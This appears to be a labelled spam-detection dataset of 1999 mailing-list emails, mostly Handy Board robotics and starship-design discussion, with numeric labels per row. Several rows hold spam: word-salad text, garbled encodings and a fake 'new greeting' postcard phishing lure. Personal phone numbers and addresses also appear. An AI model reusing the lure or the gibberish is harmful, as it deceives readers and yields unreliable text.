Otto A. Hoberg, ""Explorer Satellites Launched by Juno 1 and Juno 2 Space Carrier Vehicles"", in Aeronautical Engineering and Science, Ernst Stuhlinger, Frederick I. Ordway III, Jerry C. McCall, and George C. Bucher (editors), pp. 218-239, McGraw-Hill, 1963 Ray V. Hembree, Charles A. Lundquist, and Arthur W. Thompson, ""Scientific Results from Juno-Launched Spacecraft"", in Aeronautical Engineering and Science, Ernst Stuhlinger, Frederick I. Ordway III, Jerry C. McCall, and George C. Bucher (editors), pp. 281-297, McGraw-Hill, 1963 Bill Yenne, The Encyclopedia of US Spacecraft, Exeter Books, 1985 Major NASA Launches, PMS 031 (KSC), NASA, December 1989 -- Drew LePage is a physicist and freelance writer specializing in astronomy and the history of spaceflight. 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Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: Advanced Field Propulsion Physics Date: Tue, 10 Aug 1999 20:58:04 -0500 This is a multi-part message in MIME format. ------=_NextPart_000_0005_01BEE375.B0938810 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Try the links to the papers on this page. http://www.physik.tu-berlin.de/~bgoeksel/propulsion/propul2.html ------=_NextPart_000_0005_01BEE375.B0938810 Content-Type: application/octet-stream; name=""Homepage.url"" Content-Disposition: attachment; filename=""Homepage.url"" Content-Transfer-Encoding: 7bit [DEFAULT] BASEURL=http://www.physik.tu-berlin.de/~bgoeksel/propulsion/propul2.html [InternetShortcut] URL=http://www.physik.tu-berlin.de/~bgoeksel/propulsion/propul2.html Modified=E0738CBB9CE3BE01D8 ------=_NextPart_000_0005_01BEE375.B0938810-- >From VM Wed Aug 11 10:05:46 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""507"" ""Wednesday"" ""11"" ""August"" ""1999"" ""09:30:26"" ""-0700"" ""Fred Reyes"" ""reyesfred@xoommail.com"" nil ""20"" ""starship-design: starship design--propulsion link"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 507 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id JAA18941 for starship-design-outgoing; Wed, 11 Aug 1999 09:30:26 -0700 (PDT) Received: from www2.xoommail.com (colo01-033.xoom.com [206.132.179.33]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id JAA18933 for ; Wed, 11 Aug 1999 09:30:25 -0700 (PDT) Received: (from service@localhost) by www2.xoommail.com (8.8.8/8.8.8) id JAA13478; Wed, 11 Aug 1999 09:30:26 -0700 Message-Id: <199908111630.JAA13478@www2.xoommail.com> X-Loop: xoommail.com Organization: Reyes Enterprises Precedence: bulk Reply-To: Fred Reyes From: Fred Reyes Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: starship design--propulsion link Date: Wed, 11 Aug 1999 09:30:26 -0700 I inadvertently deleted the last message sent that included a link to a german server with documents on propulsion....could someone please send that link again? Thanks, Fred Reyes ______________________________ How to find me: AOLIM: Warlord400 Personal Site: http://www.go.to/fredreyes ______________________________________________________ Get your free web-based email at http://www.xoom.com Birthday? Anniversary? Send FREE animated greeting cards for any occasion at http://greetings.xoom.com",0,1 nick black ,pwh@cc.gatech.edu,"Sun, 08 Aug 1999 04:30:36 -0400",hw #3 criteria,"here it is...sorry it took so long; i didn't get back in until 4 this morning. cs 3411 summer '99 homework #3 -- solutions p1 -------- In ANSI C, a function prototype without parameter types indicates that no assumptions are to be made about the function's arguments, and the parameters used in the first call to this function implicitly type it. Type checking is then used for the rest of the files being compiled relative to this first invocation, but no type checking can be done with precompiled files. Use of the void keyword indicates that no parameters are to be accepted, and allows type checking to continue (the ability to write a function prototype sans typing exists only to guarantee compilability of older programs, and should cause a warning in ANSI-compliant compilers). To simulate this in C++, one must use elliptical notation. The C prototype f(), as explained, is equivalent to the C++ prototype f(...), while f() in C++ would indicate a function with no parameters (equal to C's f(void), which would mean the same thing in C++). p2 ------- a) list=={3,1} b) list=={5,1} c) list=={3,5} d) list=={5,1} if the language uses true pass by reference as opposed to an explicit dereferencing hack p3 ------- void map(double a[],unsigned int n,double (*fp)(double)){ for(;n>0;n--){ a[n-1]=(*fp)(a[n-1]); } } p4 -------- A thunk is the subprogram created by the compiler to generate the address of a pass-by-name parameter. It is implicly called each time the parameter is accessed, to see if updates to the calling function's data segment have caused the actual parameter to reference a new address, usually seen in code involving array elements or an expression involving a variable. p5 --------- A default parameter is set to a default initialization in the function prototype using the syntax = . When calling the function, this parameter is optional; if omitted, the default value will be used. Default parameters oftentimes can be used in the place of several overloaded functions. Rather than writing parameter-minimal functions which call a polymorphic version of the same function with some value, one function may specify default parameters. Both are oftentimes seen in constructors. p6 --------- Objects in java pass are passed by value, but it is the reference to them which is actually passed. This means that int foo(String bar){ bar=new String(""Hello!""); } is legal, and will change how bar is interpreted within the function, but not outside -- we have set the actual value of the reference to a new value, which is ignored, as it was only a copy. Changing the actual values within the same reference, however, works as usual. Adding the final keyword to an object parameter indicates that the reference is constant, and that assigning it to a new value should cause a compiler error. It does not, however, mean that the contents of the object are constant. p7 -------- Advantages: Numeric error codes mean that a function returning a numeric value cannot span the entire set of numbers without a helper global variable, ala strtol(3c) & errno in C. Exception propagation cannot be easily simulated using numeric return values. Disadvantages: Exception handling adds complexity to the language, as it is often based on new keywords and clauses. p8 -------- Unchecked exceptions can theoretically be thrown by any method, so the compiler does not ensure that they are caught (else every method call would require a catch(RuntimeException e) and catch(Error e)). Checked exceptions must explictly be propagatable or caught, and are all exceptions which are not derivatives of RuntimeException or Error. A finally clause is generally ""cleanup code"" which is run when a) the try block ends without throwing an exception, b) an exception is thrown and handled, or c) after the excpetions is thrown but before it is propagated upwards. p9 ---------- This function will generate a list of all factors of n. The brackets indicate that we are consing up a list. The | operator allows us to define this set, which will be all i's which fulfill the conditions given to the right (qualifiers). The inner brackets once again create a list, this time generated using the .. operator for ordered set transversal. All i's between 1 and n div 2, which produce 0 when modulated against n, are added to the body. p10 ---------- Functional programming, at the cost of reduced efficency, does not require the programmer to ""worry"" about variables and assignment/allocation. Functional languages can be expressed in a highly regular, simple style, as can their semantics. Functional programs can be mathematically proven correct, due to their lack of side effects, and this also allows for graph transversal algorithms well-suited for concurrent execution. nick black cs/math major 3411 ta[ ""Save the whales, georgia institute of technology[ feed the hungry, http://luckystrike.resnet.gatech.edu[ free the mallocs."" dank@cc.gatech.edu 404.206.0502[ -slashdot.org",0,1 Jaron ,handyboard@media.mit.edu,"Sun, 08 Aug 1999 12:55:38 +0200",Code optimization,"Howdy 3, To get most out of my Handyboard I am using a 'normal' ANSI C compiler (from cosmic) which works fine. Now my question is about the use of variables. I gathered quite some reference material for the Handyboard from the net and found that most programmers use integers very often. But isn't it so that the 68HC11 is much more efficient at dealing with 8-bit values? I am currently storing all variables used by system drivers (pwm / lcd etc) in the zero-page to take advantage of the immediate addressing mode and save some cycles. Also I replaced most integers for characters and instructed the compiler not to expand them again to integer when pushed on the stack or used in a register (which is not default ANSI C behaviour). Is this like common procedure to produce tighter, faster code or are the savings in execution minimal ? Thanks, Jaron Paludanus ",0,0 Jaron ,handyboard@media.mit.edu,"Sun, 08 Aug 1999 12:55:38 +0200",Smooth PWM routines,"Howdy 2, My other question is about the smooth pwm routines which I haven't been able to re-produce either. Is there a C example out there somewhere (or other FAQs / documentation ? I used the McManis code (which I start to understand) to create an eight-step driver and like to get more precission and control over the motors. Thanks, Jaron Paludanus ",0,0 Jaron ,handyboard@media.mit.edu,"Sun, 08 Aug 1999 12:55:39 +0200",Porting the expansion libraries,"Howdy, Has anybody succeeded in porting the libraries for the expansion board to another compiler? My lack of understanding and the absence of explanatory documentation (or can't I find it ...) make that my progress is very slow. If anybody can explain or knows documentation to find on ""how"" to recreate the drivers to address the mux and servos from within (ANSI) C or has code snippets containing info please point me to it. Also more conceptual information on the workings of those parts would be great ... Thanks, Jaron Paludanus ",0,0 Bechara Dib ,handy board ,"Sun, 08 Aug 1999 22:38:40 +0300",placement of interrupt vectors for HC11A1,Hi friends: I need help to test a simple program containing an interrupt For example in the case of 68HC811E2 we write like this: main org $F800 ... ... ... here bra here paovserv inst ;pulse accumulator overflow service ... ;routine ... rti org $FFDC <--- What should I write here for the 68HC11A1 ? fdb paovserv Sincerely Bechara Dib,0,0 Vivek Vivekanandan ,"""'handyboard@media.mit.edu'"" ","Sun, 08 Aug 1999 22:12:35 -0400",Handy board downloading problems,"I am having trouble downloading IC to the Handy Board. The pcode_hb.s19 file seems to be downloade properly and the leds on the handy board and the Interface board do flicker while communicating. But after the pc_codehb.s19 file download is complete, and when I switch off and on the Handy board, I dont hear any beeps and I dont see the IC prompts on the LCD screen. When I try to run IC , I get the Error Synchronizing with the board message. Anybody been through this problem before ? thanks vivek ",0,0 Christopher Prosser ,"Jaron , handyboard@media.mit.edu","Mon, 09 Aug 1999 00:08:55 -0700",Re: Porting the expansion libraries,"Ports exists for gcc and Imagecraft C that I know of. You can get the imagecraft port at ftp://ftp.imagecraft.com/pub/pub/libhb.zip. You can get gcc for the HC11 and libraries courtesy of Curt Mills at http://www.eskimo.com/~archer/. cheers, chris ----- Original Message ----- From: Jaron To: Sent: Sunday, August 08, 1999 3:55 AM Subject: Porting the expansion libraries > Howdy, > > Has anybody succeeded in porting the libraries for the expansion board to > another compiler? My lack of understanding and the absence of explanatory > documentation (or can't I find it ...) make that my progress is very slow. > > If anybody can explain or knows documentation to find on ""how"" to recreate > the drivers to address the mux and servos from within (ANSI) C or has code > snippets containing info please point me to it. Also more conceptual > information on the workings of those parts would be great ... > > Thanks, > Jaron Paludanus > > > >",0,1 Vivek Vivekanandan ,"""'handyboard@media.mit.edu'"" ","Mon, 09 Aug 1999 10:54:54 -0400",Handy board downloading issue," I am in the process of assembling a Handy Board. I have reached the point where the memory + support chips have been added to the Handy board. At this point , I am having some problems running the test procedures for this stage. I am not able to download IC to the Handy Board. The pcode_hb.s19 file seems to be download properly and the 'leds' on the handy board and the Interface board do flicker while communicating. But after the pc_codehb.s19 file download is complete, and when I switch off and on the Handy board, I dont hear any beeps and I dont see the IC prompts on the LCD screen. I do see the first line of the LCD all lit up. When I try to run IC , I get the ""Error Synchronizing with the board"" message. I tried to download pcode a number of times but when I reach the IC download stage, I get the same error message. The memory and support chips all seem to get power OK. The 6811 is a good chip since I have used the same chip on a Rug Warrior board. Anybody been through this problem before ? thanks vivek ",0,0 USA ,starship-design@lists.uoregon.edu,"Mon, 09 Aug 1999 11:38:41 -0100",���౹ó��������ѱ����� C-R-RI-S���˹̴�������ǰ.B-A�׶� ryzrfatzxeiflt,mxvio gme,1,1 """Curt Mills, WE7U"" ",Christopher Prosser ,"Mon, 09 Aug 1999 09:55:22 -0700",Re: Porting the expansion libraries,"On Mon, 9 Aug 1999, Christopher Prosser wrote: > Ports exists for gcc and Imagecraft C that I know of. You can get the > imagecraft port at ftp://ftp.imagecraft.com/pub/pub/libhb.zip. You can get > gcc for the HC11 and libraries courtesy of Curt Mills at > http://www.eskimo.com/~archer/. > cheers, > chris > > > ----- Original Message ----- > From: Jaron > > > Has anybody succeeded in porting the libraries for the expansion board to > > another compiler? One clarification: I haven't ported anything to the expansion board for GCC because I don't own an exansion board. Now if someone wants to make a donation, I'm sure some code could be worked out... ;-) One could always look at the source code to figure out how things work, then create your own expansion board library. That method always seems to work for me. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U",0,1 Alex Stewart ,handyboard@media.mit.edu,"Mon, 09 Aug 1999 20:20:59 -0700",Bot Vision,"Hi Was just wondering if anyone has tried using a ccd camera and the handy board for simple vision. and if so how they go about doing it? thanx a lot Alex Stewart _______________________________________________________________ Get Free Email and Do More On The Web. Visit http://www.msn.com ",0,1 Oliver ,"pwh@lennon.cc.gatech.edu, mike@lennon.cc.gatech.edu, kellie@lennon.cc.gatech.edu, marie@lennon.cc.gatech.edu, beulah@lennon.cc.gatech.edu","Tue, 10 Aug 1999 04:52:24 -0500",Hottest Diet in America,"it's anne some sal on augustan it's dickson some chaucer ",1,0 """Russell, Casey"" ",handyboard@media.mit.edu,"Tue, 10 Aug 1999 13:39:58 -0400",Question about the Serial interface board,"Is it possible to replace the serial interface board with a straight RJ11 to DB 9 connector if i don't care about charging the battery. I have taken the battery out of my project and am powering the HB from a computer power supply. I what to get rid of the serial interface board to cut costs. Any suggestions? Casey Russell ",0,0 """Russell, Casey"" ",handyboard@media.mit.edu,"Tue, 10 Aug 1999 14:41:05 -0400",FW: Question about the Serial interface board,"> Is it possible to replace the serial interface board with a straight > RJ11 to DB 9 connector if i don't care about charging the battery. I > have taken the battery out of my project and am powering the HB from a > computer power supply. I what to get rid of the serial interface > board > to cut costs. Any suggestions? > > Casey Russell > > ",0,0 Chance Parham ,Rosanna ,"Tue, 10 Aug 1999 14:44:34 -0100",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"And plan an escape from the dark side of her jersey cow.oil filter toward plaintiff a big fan of defined by wheelbarrow.inferiority complex related to fire hydrant is Alaskan.Where we can barely host our bubble. ",1,0 Christopher Biggs ,"""Russell, Casey"" ","Wed, 11 Aug 1999 07:22:56 +1000",Re: Question about the Serial interface board,"""Russell, Casey"" moved upon the face of the 'Net and spake thusly: > Is it possible to replace the serial interface board with a straight > RJ11 to DB 9 connector if i don't care about charging the battery. No. The serial board also includes the Maxim MAX232 chip which converts the 0-5V levels on the 68hc11 SCI port to the +/- 12V levels required by the RS-232 serial standard. You can (sometimes) build a quick and dirty TTL to RS-232 converter with pullup resistors/diodes, but you're better off with a proper level converter. The MAX232 chip uses those capacitors on the serial board to help generate +/- 12V from the 5v power supply. If you're using a PC power supply with +/- 12V provided, you can use level-shifting chips that are much cheaper and do not require capacitors---the Motorola 1488/1489 pair, or the Motorola 145406. A 145406 can be wired to 5v,gnd,TX,RX,+12,-12 and acts as a level converter with no other components---I have one wire-wrapped onto a header on a test rig right here. Data for all the above are available from Maxim's and Motorola's respective WWW sites. cjb. -- It's boring being a program when your only job is inserting a random .sig. Muggins thinks I've put his .sig here, won't he be surprised...",0,0 Fred Reyes ,starship-design@lists.uoregon.edu,"Wed, 11 Aug 1999 10:07:36 -0700",starship-design: starship design--propulsion link,"Thanks for the link....however...every time I try it it gives me an error.....any ideas? Fred ______________________________ How to find me: AOLIM: Warlord400 Personal Site: http://www.go.to/fredreyes ______________________________________________________ Get your free web-based email at http://www.xoom.com Birthday? Anniversary? Send FREE animated greeting cards for any occasion at http://greetings.xoom.com ",0,1 Zenon Kulpa ,"starship-design@lists.uoregon.edu, reyesfred@xoommail.com","Wed, 11 Aug 1999 19:50:03 +0200",Re: starship-design: starship design--propulsion link,"> From owner-starship-design@lists.uoregon.edu Wed Aug 11 19:06:35 1999 > Reply-To: Fred Reyes > > Thanks for the link....however...every time I try > it it gives me an error.....any ideas? > None... I have tried several versions, then finally come to the http://www.physik.tu-berlin.de/ site. Search on this site (with the search form included) returned four pages of Berkant Goeksel , but every one of them gives an error (either ""not found"", or ""you dont't have permission to access...""). Ask Parker, who sent this link to the list... -- Zenon Kulpa >From VM Wed Aug 11 14:38:55 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1209"" ""Wednesday"" ""11"" ""August"" ""1999"" ""15:22:03"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""35"" ""starship-design: Broken link"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1209 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id NAA21689 for starship-design-outgoing; Wed, 11 Aug 1999 13:23:18 -0700 (PDT) Received: from traffic.gnt.net (root@gnt.com [204.49.53.5]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id NAA21679 for ; Wed, 11 Aug 1999 13:23:17 -0700 (PDT) Received: from broadsword (p192.gnt.com [204.49.89.192]) by traffic.gnt.net (8.9.1a/8.9.0) with SMTP id PAA16690 for ; Wed, 11 Aug 1999 15:23:11 -0500 Message-ID: <000e01bee437$3fa191c0$0401a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design (E-mail)"" Subject: starship-design: Broken link Date: Wed, 11 Aug 1999 15:22:03 -0500 I have tried the link again myself and find it non-functional. I have appended most of the relevant links on the page below: GRAVITATIONAL ENGINEERING PAGE http://home.att.net/~kfbrown/ A possibility of emission of high frequency gravitational radiation from d-wave to s-wave type superconductor junctions http://alpha.science.unitn.it/~fontana/spsj.html General Relativity and Quantum Cosmology, abstract gr-qc/9512027 http://xxx.lanl.gov/abs/gr-qc?9512027 The two most interesting papers were unfortunately on the German site. They were from Petkov and presented some rather fascinating treatments of the origin of mass and inertia. I have both pdf files downloaded to my system, if anyone wants copies please email me directly and I will forward them - Steve would not like me sending attachments of this size through his mail server . Lee Parker ================,,,========================= ===============(o o)======================== ===========oOO==(_)==OOo==================== lparker@cacaphony.net ===========ooooO==Ooooo===================== ===========( )==( )===================== ============\\ (====) /====================== =============\\_)==(_/=======================",0,1 """L. Parker"" ","""Starship-Design (E-mail)"" ","Wed, 11 Aug 1999 14:57:21 -0500",FW: starship-design: Advanced Field Propulsion Physics (again)," -----Original Message----- From: owner-starship-design@lists.uoregon.edu [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of L. Parker Sent: Tuesday, August 10, 1999 8:58 PM To: Starship-Design (E-mail) Subject: starship-design: Advanced Field Propulsion Physics Try the links to the papers on this page. http://www.physik.tu-berlin.de/~bgoeksel/propulsion/propul2.html",0,1 Bob_Kelly/First_Union@firstunion-reit.com,HANDYBOARD@MEDIA.MIT.EDU,"Wed, 11 Aug 1999 15:01:24 -0400",PICTURES AVAILABLE FOR ROBOT FOR SALE," If you are interested in the robot for sale (see my previous posting of 8/5/99), I have a couple of pictures available. I can be reached at (216) 781-4030 extenstion 2251 if you are interested in discudssing details. Regards, Bob Kelly ",0,0 """Curt Mills, WE7U"" ",legged-robots@egroups.com,"Wed, 11 Aug 1999 15:16:59 -0700",Lemon-scented GCC-HC11 Compiler Patch,"On Thu, 5 Aug 1999, Curt Mills, WE7U wrote: > This guy uses the GNU toolchain, and looks like he has floating > point and the whole bit. Just thought you guys would like to know. > > http://home.worldnet.fr/stcarrez/m68hc11_port.html > > I added a pointer to it from my home page also. For those who don't > know, the EGCS source tree became the official GCC source tree, so > gcc-2.9.5 IS EGCS. Yet another announcement: http://www.eskimo.com/~archer or ftp://ftp.eskimo.com/u/a/archer contains: NOTES.gcc295 and: gcc-2.95-hc11-19990811.diffs.gz files. Between Stephan Carrez' web pages (first link above) and my NOTES file, you too can get an HC11 GNU toolchain working with the latest GNU compiler. Newlib doesn't compile, but the compiler, assembler, linker, and debugger are all working, and the simulator works also. 99.99999% of the credit for this goes to Stephan. I did about 15 minutes worth of work in order to make it work with the latest compiler. Well, that was the amount of real work I accomplished after several hours of chasing dead-ends anyway... BTW: If anyone has an E-mail address for Stephan, I'd like to get in contact with him. I pieced together an address from his web address, but haven't heard from him yet. Print out Stephan Carrez's web pages, then mark them up from my NOTES file. Download most of the executables from Stephan's links, two files from my site, and gcc-core-2.95.tar.gz from GNU download sites (try egcs.cygnus.com). Works for me on SuSE Linux 6.1 and 5.3. I'll try it on Redhat Linux 5.2 and 6.0 next. Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 """YourGreeting.Com"" ",DMDX@psy1.psych.arizona.edu,"Wed, 11 Aug 1999 11:41:00 -0700",You have a new greeting!,"Hello friend ! You have just received a postcard from someone who cares about you! This is a part of the message: ""Hy there! It has been a long time since I haven't heared about you! I've just found out about this service from Claire, a friend of mine who also told me that..."" If you'd like to see the rest of the message click here to receive your animated postcard! =================== Thank you for using www.yourpostcard.com 's services !!! Please take this opportunity to let your friends hear about us by sending them a postcard from our collection ! ==================",1,1 Thomas Heidel ,handyboard@media.mit.edu,"Thu, 12 Aug 1999 14:10:23 +0200",Re: Porting the expansion libraries,"Well I have got an expansion board and started some porting a week ago. So fare I have a working digital_out.o, servo.o and gp2d02.o. All is a bit beta and needs some testing. I had a look at the code of Fred Martin (for the library) and Barry Brouillette (for the Sharp GP2D02 infrared ranging unit) and was able to use it almost as it was. I have no use for the LEGO and analog inputs, but should be no major problem. If anybody is interested in the code and in doing some testing... theidel@advis.de Thomas. Curt Mills, WE7U wrote: > > On Mon, 9 Aug 1999, Christopher Prosser wrote: > > > Ports exists for gcc and Imagecraft C that I know of. You can get the > > imagecraft port at ftp://ftp.imagecraft.com/pub/pub/libhb.zip. You can get > > gcc for the HC11 and libraries courtesy of Curt Mills at > > http://www.eskimo.com/~archer/. > > cheers, > > chris > > > > > > ----- Original Message ----- > > From: Jaron > > > > > Has anybody succeeded in porting the libraries for the expansion board to > > > another compiler? > > One clarification: I haven't ported anything to the expansion board > for GCC because I don't own an exansion board. Now if someone wants to > make a donation, I'm sure some code could be worked out... ;-) > > One could always look at the source code to figure out how things work, > then create your own expansion board library. That method always seems > to work for me. > > Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com > Senior Methods Engineer/SysAdmin > ""Lotto: A tax on people who are bad at math."" -- unknown > ""Windows: Microsoft's tax on computer illiterates."" -- WE7U",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Thu, 12 Aug 1999 17:28:32 +0100",[DMDX] Timing Accuracy,"I have just been alerted to the rather worrying article below. Does anyone have any comments on this or further information? - Mike Myors, B. BEHAVIOR RESEARCH METHODS INSTRUMENTS & COMPUTERS, 1999, Vol.31, No.2, pp.322-328 The time in which to press a key and the video retrace interval were measured under various conditions of MS-DOS, Windows 3.1, Windows 3.11, Windows 95, and Windows NT 4.0 Workstation. All the measurements were obtained with the same program running on a single Pentium 300 computer. In all, samples of 1,000 timing measurements were obtained in each of 96 different conditions. Standard deviations of the times ranged from about 0.0006 msec under DOS 6.22 to almost 40 msec under Windows 3.11, representing an increase in timing error of up to 6,000,000% Researchers requiring millisecond timing accuracy are recommended to use DOS only. xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 12 Aug 1999 09:57:45 -0700",[DMDX] Re: Timing Accuracy,"At 05:28 PM 8/12/99 +0100, you wrote: >I have just been alerted to the rather worrying article below. Does anyone >have any comments on this or further information? You can check out the testmodes in DMDX, one of them displays the latencies in the millsecond callback, it is these latencies that are used to poll PIO12 and joystick switches, typical values on my machines are 0..2ms with the odd 3..5ms value representing about 0.00001% of the values. In the Input section of the DMDX help file are a number of timings of keyboards, variations are 2..3ms on a good device and worse with shoddy devices. Personally I don't see how you can get 0.0006ms deviation with a keyboard _ever_, the device has an embedded processor in it that scans the keyboard 5 keys at a time and when it finds a key it sends it to the PC, I can't imagine any keyboard is polled at 1/0.0000006Hz, 1/0.006Hz maybe... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Managers know it must be good because the programmers hate it so much. ",0,0 Steve Morris ,"""Curt Mills, WE7U"" ","Thu, 12 Aug 1999 10:07:36 -0400",Lemon-scented GCC-HC11 Compiler Patch," I haven't tried but there is no reason this stuff shouldn't work alos on Windows also using the gygwin tools. Curt Mills, WE7U writes: > On Thu, 5 Aug 1999, Curt Mills, WE7U wrote: > > > This guy uses the GNU toolchain, and looks like he has floating > > point and the whole bit. Just thought you guys would like to know. > > > > http://home.worldnet.fr/stcarrez/m68hc11_port.html > > > > I added a pointer to it from my home page also. For those who don't > > know, the EGCS source tree became the official GCC source tree, so > > gcc-2.9.5 IS EGCS. > > Yet another announcement: > > http://www.eskimo.com/~archer > or ftp://ftp.eskimo.com/u/a/archer > > contains: > > NOTES.gcc295 > and: gcc-2.95-hc11-19990811.diffs.gz ",0,1 Bob_Kelly/First_Union@firstunion-reit.com,HANDYBOARD@MEDIA.MIT.EDU,"Thu, 12 Aug 1999 13:38:45 -0400",COMPLETED ROBOT FOR SALE - HAVE PICTURES," Hello all, I HAVE PHOTOS AVAILABLE VIA E-MAIL IF INTERESTED.... I have a completed robot for sale that contains the following components: 1 Handy Board and interface board with battery pack and charger(Patrick Hui and Radio Shack for batt and chgr) 1 Expansion Board (Gleason) 2 12-24v gearhead motors modified to provide faster output by removing one gear in power train (Acroname surplus item). Removed gears will be included, the mod is reversible. 2 Four inch inflatable tires as purchased from a local R/C aircraft store. Smooth tread and include an adapter fashioned from a surplus aluminum gear that mounts directly to gearmotors. 2 Hamatsu IR detectors for use as wheel encoders. I think I have 2 more that I didn't actually use on the 'bot. 2 R/C aircraft servos 1 Polaroid 6500 sonar ranging module and sender 1 Motion sensor purchased from Acroname (Eltec somthing or other check thier web site) 1 Sharp IR ranging sensor GP2D02 1 Lynxmotion IR object detector kit assembled and working 2 Photo sensors 4 National Semiconductor LMD18200 (I think) - not used on 'bot 2 12v Radio Shack camcorder batteries for motor power Description of robot: Base constructed out of 1/8"" Lynxmotion yellow sheet stock approx the size of a 8 1/2"" x 11"" sheet of paper. Rounded corners. Dual motor drive with trailing caster (R/C aircraft tail wheel 1 1/2"" dia.). Sonar and GP2D02 mounted on pan/tilt mechanism on front right (""passenger"" side in the U.S.) with IR object detector mounted on top surface of base centerd on the front of the 'bot. The motion sensor cone is position a little farther back from the pan/tilt ranging head and on the left side of the 'bot, not blocked by the ranging head. The base was constructed using a CAD drawing overlaid on the sheet stock and cut with a band saw. The wheels are recessed within the profile of the 'bot as you look down from directly above but they do break the outline by about 1/4"". The motor mounts are made of the same sheet material as is the pan/tilt framework and are very sturdy. The servos are mounted side by side behind the IR object detector with the pan/tilt frame mounted directly on the right one for the ""pan"" movement (+90deg to -90 deg), the left one operates a flexible pushrod (from hobby store) that allows up and down movement (-15deg down to about +35deg up). The HBoard battery is mounted directly on the front underside of the base. One of the camcorder batteries is mounted between the front wheels and the caster mount with the second mounted on top of the base directly behind the HBoard and Expansion board. The ""brains"" are mounted with standoffs on the centerline of the top surface of the base and behind the drive wheels. The sonar module is mounted on the top of the base and to the right and under the the ""brains"". Everything works and operates and it currently has programs loaded that will allow it to do simple wall following and photo avoidance or seeking. I do still have mild difficulty getting consistent readings from sonar sensor. The wheel encoders give 64 tic per revolution resolution using a paper stripe disc mounted directly to the inside of the wheels. All related software (registered version) is included. The only physical modification is to the h-bridge motor drivers and is reversible. I double stacked the existing chips with two more chips and fed in the two camcorder batteries. I don't remember the part numbers but the existing ones are the kind that came with the Patrick Hui board and the ones on top are the higher capacity kind that come with the Gleason board and I do not have problems with overheating. I think I even have one extra that would go with it. As it is, the robot would be good for someone who just wants to program and doesn't want to fiddle with building. There is still room to mount additional sensors and electronics. It could use some bump sensors, for instance. It was built in a workmanlike manner and looks good without a buch of wires sticking out all over the place. I am selling it due to lack of time (I have a new son). I estimate that I have at least $650.00 in the parts that are either on it or that I will include with it. Please contact me if you are interested. Thank you, Bob Kelly ",0,0 Alex Stewart ,handyboard@media.mit.edu,"Thu, 12 Aug 1999 14:53:17 -0700",Is there a version of ic that supports 2d arrays?,"hi Was wondering if there is a version of IC that supports 2D arrays , or possibly 3D arrays? Thanx Alex _______________________________________________________________ Get Free Email and Do More On The Web. Visit http://www.msn.com ",0,1 """Joe Marie J. Maja"" ",HandyBoard ,"Fri, 13 Aug 1999 09:42:50 +0900",info," Here's an affordable robot that anyone might be interested: http://www.personalrobots.com/ joema ",0,1 lroska ,"""handyboard@media.mit.edu"" ","Fri, 13 Aug 1999 00:32:35 -0400",LCD print formating problem,"I connected a real time clock to my Handy Board and wrote a small routine that displays the time and date on the LCD. The problem is with the print formatting on the LCD. I don't think Interactive C supports double integer digits with zero fill therefore I don't get the proper display for times such as 00:00:00 what I get is 0:0:0! Is there a better solution to the above problem than to break down the seconds, minutes, hours into tens and ones mathematically. If anybody has come across this problem or has a better solution I would like to hear it. Thanks ",0,0 Haley ,HANDYBOARD@MEDIA.MIT.EDU,"Fri, 13 Aug 1999 04:41:43 -0500",bring down my body fat,"the delivery not illusory the buzz be depreciate a taylor ",1,0 Russell Farnhill ,'lroska' ,"Fri, 13 Aug 1999 15:33:02 +0100",RE: LCD print formating problem,"Have you used the correct formating strings. Here's what I mean main() { int a = 1, b = 0; printf(""a = %d, b = %d\\n"", a, b); printf(""a = %2.2d, b = %2.2d\\n"", a, b); } The output would look something like this.... a = 1, b = 0 a = 01, b = 00 Hope this help.... Russ -----Original Message----- From: lroska [mailto:lroska@home.com] Sent: Friday, August 13, 1999 5:33 AM To: handyboard@media.mit.edu Subject: LCD print formating problem I connected a real time clock to my Handy Board and wrote a small routine that displays the time and date on the LCD. The problem is with the print formatting on the LCD. I don't think Interactive C 